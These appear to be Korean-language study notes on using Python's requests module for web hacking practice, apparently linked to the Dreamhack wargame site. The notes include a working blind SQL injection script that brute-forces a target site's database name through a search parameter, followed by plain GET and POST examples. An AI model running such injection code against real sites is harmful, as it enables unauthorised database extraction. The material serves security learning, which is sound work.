header 선별
요청 패킷의 해더를 하나씩 삭제하고 보내는 과정에서
필요한 헤더들을 선별
request 모듈 사용
import requests
# 데이터베이스 이름의 길이를 찾는 부분
length = 0
for lengths in range(1, 30):
url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20length(database())={0}%20--%20".format(lengths)
res = requests.get(url)
if "2949" in res.text: # 특정 문자열로 길이를 식별
print("\n 데이터베이스명의 길이는 {0}".format(lengths))
length = lengths
break
else:
continue
# 데이터베이스 이름을 추출하는 부분
db_name = ""
for i in range(1, length + 1):
for j in range(33, 127):
url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20ascii(substr(database(),{0},1))={1}%20--%20".format(i, j)
res = requests.get(url)
if "2949" in res.text: # 특정 문자열로 문자 식별
db_name += chr(j)
break
print("\n 데이터베이스 명: {0}".format(db_name))
예시
참고
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
requests 모듈 GET 예제 코드
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
requests 모듈 POST 예제 코드
실행 (cmd)
py [파일명]